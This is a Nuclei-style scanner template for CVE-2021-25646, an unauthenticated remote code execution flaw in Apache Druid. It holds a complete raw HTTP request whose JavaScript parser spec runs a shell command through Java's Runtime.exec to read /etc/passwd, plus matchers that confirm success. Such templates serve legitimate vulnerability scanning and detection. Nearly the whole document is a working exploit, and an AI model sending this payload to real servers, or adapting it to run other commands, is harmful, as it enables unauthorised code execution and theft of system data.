id: CVE-2021-25646

info:
  name: Apache Druid RCE
  author: pikpikcu
  severity: critical
  reference: https://paper.seebug.org/1476/
  description: |
    Apache Druid is a column-oriented open source distributed data storage written in Java, designed to quickly obtain large amounts of event data and provide low-latency queries on the data.
    Apache Druid lacks authorization and authentication by default. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
  tags: cve,cve2021,apache,rce

requests:
  - raw:
      - |
        POST /druid/indexer/v1/sampler HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/json
        Content-Length: 1006
        Connection: close

        {
        "type":"index",
        "spec":{
           "ioConfig":{
              "type":"index",
              "firehose":{
                 "type":"local",
                 "baseDir":"/etc",
                 "filter":"passwd"
              }
           },
           "dataSchema":{
              "dataSource":"odgjxrrrePz",
              "parser":{
                 "parseSpec":{
                    "format":"javascript",
                    "timestampSpec":{

                    },
                    "dimensionsSpec":{

                    },
                    "function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}",
                    "":{
                       "enabled":"true"
                    }
                 }
              }
           }
        },
        "samplerConfig":{
           "numRows":10
        }
        }

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "application/json"
        part: header

      - type: word
        words:
          - "numRowsRead"
          - "numRowsIndexed"
        part: body
        condition: and

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body